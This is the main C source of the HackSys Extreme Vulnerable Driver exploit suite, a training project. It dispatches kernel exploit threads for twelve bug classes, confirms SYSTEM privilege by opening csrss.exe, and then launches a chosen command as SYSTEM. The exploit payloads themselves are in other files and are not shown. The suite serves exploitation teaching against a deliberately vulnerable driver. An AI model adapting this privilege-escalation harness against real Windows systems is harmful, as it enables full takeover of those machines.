-
Notifications
You must be signed in to change notification settings - Fork 549
/
Copy pathHackSysEVDExploit.c
340 lines (288 loc) · 13 KB
/
HackSysEVDExploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
/*++
## ## ######## ## ## ########
## ## ## ## ## ## ##
## ## ## ## ## ## ##
######### ###### ## ## ## ##
## ## ## ## ## ## ##
## ## ## ## ## ## ##
## ## ######## ### ########
HackSys Extreme Vulnerable Driver Exploit
Author : Ashfaq Ansari
Contact: ashfaq[at]hacksys[dot]io
Website: https://hacksys.io/
Copyright (C) 2021-2023 HackSys Inc. All rights reserved.
Copyright (C) 2015-2020 Payatu Software Labs LLP. All rights reserved.
This program is free software: you can redistribute it and/or modify it under the terms of
the GNU General Public License as published by the Free Software Foundation, either version
3 of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with this program.
If not, see <http://www.gnu.org/licenses/>.
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
See the file 'LICENSE' for complete copying permission.
Module Name:
HackSysEVDExploit.c
Abstract:
This module implements the main routines to invoke
exploit for respective vulnerabilities.
--*/
#include "HackSysEVDExploit.h"
CHAR *argv0;
static VOID ShowUsage(PTCHAR Process) {
DEBUG_ERROR(" \n"
" Usage: %s [option] -c [process to launch] \n"
" \n"
" %s -a -c cmd.exe \n"
" \n"
" [option] \n"
" -d : Double Fetch \n"
" -p : Pool Overflow \n"
" -s : Stack Overflow \n"
" -u : Use After Free \n"
" -t : Type Confusion \n"
" -i : Integer Overflow \n"
" -g : Stack Overflow GS \n"
" -n : Null Pointer Dereference \n"
" -a : Arbitrary Memory Overwrite \n"
" -f : Insecure Kernel File Access \n"
" -h : Uninitialized Heap Variable \n"
" -v : Uninitialized Stack Variable\n"
" \n", Process, Process);
exit(EXIT_FAILURE);
}
VOID LaunchExploitThread(LPTHREAD_START_ROUTINE ExploitHandlerThread) {
DWORD_PTR Mask = 0;
HANDLE hThread = NULL;
DWORD ThreadTimeout = 0x50000;
// Create a new thread
DEBUG_MESSAGE("\t[+] Creating The Exploit Thread\n");
hThread = CreateThread(NULL, 0, ExploitHandlerThread, NULL, CREATE_SUSPENDED, 0);
if (!hThread) {
DEBUG_ERROR("\t\t[-] Failed To Create Exploit Thread: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
DEBUG_INFO("\t\t[+] Exploit Thread Handle: 0x%X\n", hThread);
SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
SetThreadAffinityMask(hThread, Mask);
ResumeThread(hThread);
if (WaitForSingleObject(hThread, ThreadTimeout)) {
// Terminate the thread
TerminateThread(hThread, EXIT_FAILURE);
DEBUG_INFO("\t\t[+] Terminated Exploit Thread: 0x%X\n", hThread);
}
CloseHandle(hThread);
}
BOOL IsProcessHavingHigherPrivilege(LPCSTR TargetProcess) {
DWORD ProcessID = 0;
HANDLE hProcess = NULL;
BOOL IsHighPrivileged = FALSE;
DEBUG_MESSAGE("\t[+] Trying To Get Process ID Of: %s\n", TargetProcess);
ProcessID = GetProcessID(TargetProcess);
if (!ProcessID) {
DEBUG_ERROR("\t\t[-] Failed To Get Process ID Of: %s\n", TargetProcess);
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t[+] Process ID Of %s: %d\n", TargetProcess, ProcessID);
}
DEBUG_MESSAGE("\t[+] Trying To Open %s With PROCESS_ALL_ACCESS\n", TargetProcess);
// Open the process to check the privilege level, if we are able
// to open any SYSTEM process, this means we have successfully
// elevated current process privileges
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);
if (!hProcess) {
DEBUG_ERROR("\t\t[-] Failed To Open %s Process: 0x%X\n", TargetProcess, GetLastError());
}
else {
DEBUG_INFO("\t\t[+] Process Handle Of %s: 0x%X\n", TargetProcess, hProcess);
IsHighPrivileged = TRUE;
}
return IsHighPrivileged;
}
VOID Exploit(PEXPLOIT_VULNERABILITY ExploitVulnerability) {
DWORD Start, Stop = 0;
DOUBLE ElapsedTime = 0.000;
STARTUPINFO StartupInfo = {0};
PROCESS_INFORMATION ProcessInformation = {0};
VULNERABILITY_TYPE VulnerabilityType = ExploitVulnerability->VulnerabilityType;
// Log the start TickCount
Start = GetTickCount();
// Determine type of vulnerability to exploit
switch (VulnerabilityType) {
case DoubleFetch:
DEBUG_MESSAGE("[+] Starting Double Fetch Exploitation\n");
LaunchExploitThread(&DoubleFetchThread);
DEBUG_MESSAGE("[+] Completed Double Fetch Exploitation\n");
break;
case PoolOverflow:
DEBUG_MESSAGE("[+] Starting Pool Overflow Exploitation\n");
LaunchExploitThread(&PoolOverflowThread);
DEBUG_MESSAGE("[+] Completed Pool Overflow Exploitation\n");
break;
case UseAfterFree:
DEBUG_MESSAGE("[+] Starting Use After Free Exploitation\n");
LaunchExploitThread(&UseAfterFreeThread);
DEBUG_MESSAGE("[+] Completed Use After Free Exploitation\n");
break;
case TypeConfusion:
DEBUG_MESSAGE("[+] Starting Type Confusion Exploitation\n");
LaunchExploitThread(&TypeConfusionThread);
DEBUG_MESSAGE("[+] Completed Type Confusion Exploitation\n");
break;
case StackOverflow:
DEBUG_MESSAGE("[+] Starting Stack Overflow Exploitation\n");
LaunchExploitThread(&StackOverflowThread);
DEBUG_MESSAGE("[+] Completed Stack Overflow Exploitation\n");
break;
case IntegerOverflow:
DEBUG_MESSAGE("[+] Starting Integer Overflow Exploitation\n");
LaunchExploitThread(&IntegerOverflowThread);
DEBUG_MESSAGE("[+] Completed Integer Overflow Exploitation\n");
break;
case StackOverflowGS:
DEBUG_MESSAGE("[+] Starting Stack Overflow GS Exploitation\n");
LaunchExploitThread(&StackOverflowGSThread);
DEBUG_MESSAGE("[+] Completed Stack Overflow GS Exploitation\n");
break;
case ArbitraryOverwrite:
DEBUG_MESSAGE("[+] Starting Arbitrary Memory Overwrite Exploitation\n");
LaunchExploitThread(&ArbitraryOverwriteThread);
DEBUG_MESSAGE("[+] Completed Arbitrary Memory Overwrite Exploitation\n");
break;
case UninitializedHeapVariable:
DEBUG_MESSAGE("[+] Starting Uninitialized Heap Variable Exploitation\n");
LaunchExploitThread(&UninitializedHeapVariableThread);
DEBUG_MESSAGE("[+] Completed Uninitialized Heap Variable Exploitation\n");
break;
case UninitializedStackVariable:
DEBUG_MESSAGE("[+] Starting Uninitialized Stack Variable Exploitation\n");
LaunchExploitThread(&UninitializedStackVariableThread);
DEBUG_MESSAGE("[+] Completed Uninitialized Stack Variable Exploitation\n");
break;
case NullPointerDereference:
DEBUG_MESSAGE("[+] Starting Null Pointer Dereference Exploitation\n");
LaunchExploitThread(&NullPointerDereferenceThread);
DEBUG_MESSAGE("[+] Completed Null Pointer Dereference Exploitation\n");
break;
case InsecureKernelFileAccess:
DEBUG_MESSAGE("[+] Starting Insecure Kernel File Access Exploitation\n");
LaunchExploitThread(&InsecureKernelFileAccessThread);
DEBUG_MESSAGE("[+] Completed Insecure Kernel File Access Exploitation\n");
break;
}
DEBUG_MESSAGE("[+] Checking Current Process Privileges\n");
// Verify if the privilege escalation was successful
if (!IsProcessHavingHigherPrivilege("csrss.exe")) {
DEBUG_ERROR("\t[-] Failed To Elevate Privileges Of Current Process\n");
exit(EXIT_FAILURE);
}
else {
DEBUG_MESSAGE("\t[+] Successfully Elevated Current Process Privileges\n");
}
StartupInfo.wShowWindow = SW_SHOW;
StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
// Log the stop TickCount
Stop = GetTickCount();
// Calculate the elapsed time between two tick counts
ElapsedTime = (Stop - Start) / 1000.000;
DEBUG_MESSAGE("[+] Enjoy As SYSTEM [%.3f]s\n\n", ElapsedTime);
if (!CreateProcess(NULL,
ExploitVulnerability->Command,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&StartupInfo,
&ProcessInformation)) {
DEBUG_ERROR("[-] Failed to Create Target Process: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
// Close the open handles
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
}
INT main(UINT argc, PTCHAR argv[]) {
CONST PTCHAR Banner =
"\t\t \t\n"
"\t\t ## ## ######## ## ## ######## \t\n"
"\t\t ## ## ## ## ## ## ## \t\n"
"\t\t ## ## ## ## ## ## ## \t\n"
"\t\t ######### ###### ## ## ## ## \t\n"
"\t\t ## ## ## ## ## ## ## \t\n"
"\t\t ## ## ## ## ## ## ## \t\n"
"\t\t ## ## ######## ### ######## \t\n"
"\t\t \t\n"
"\t\t HackSys Extreme Vulnerable Driver Exploits \t\n"
"\t\t Ashfaq Ansari (@HackSysTeam) \t\n"
"\t\t ashfaq[at]payatu[dot]com \t\n"
"\t\t \t\n";
PTCHAR CommandToExecute = NULL;
EXPLOIT_VULNERABILITY ExploitVulnerability;
ClearScreen();
CenterConsoleScreen();
// Print the banner
DEBUG_SUCCESS(Banner);
if (argc < 3) {
ShowUsage(argv[0]);
}
// Parse the command line arguments
ARGBEGIN {
case 'd':
ExploitVulnerability.VulnerabilityType = DoubleFetch;
break;
case 'p':
ExploitVulnerability.VulnerabilityType = PoolOverflow;
break;
case 'u':
ExploitVulnerability.VulnerabilityType = UseAfterFree;
break;
case 't':
ExploitVulnerability.VulnerabilityType = TypeConfusion;
break;
case 's':
ExploitVulnerability.VulnerabilityType = StackOverflow;
break;
case 'i':
ExploitVulnerability.VulnerabilityType = IntegerOverflow;
break;
case 'g':
ExploitVulnerability.VulnerabilityType = StackOverflowGS;
break;
case 'a':
ExploitVulnerability.VulnerabilityType = ArbitraryOverwrite;
break;
case 'h':
ExploitVulnerability.VulnerabilityType = UninitializedHeapVariable;
break;
case 'v':
ExploitVulnerability.VulnerabilityType = UninitializedStackVariable;
break;
case 'n':
ExploitVulnerability.VulnerabilityType = NullPointerDereference;
break;
case 'f':
ExploitVulnerability.VulnerabilityType = InsecureKernelFileAccess;
break;
case 'c':
ExploitVulnerability.Command = EARGF(ShowUsage(argv[0]));
break;
default:
ShowUsage(argv[0]);
} ARGEND;
// Start the exploitation
Exploit(&ExploitVulnerability);
return EXIT_SUCCESS;
}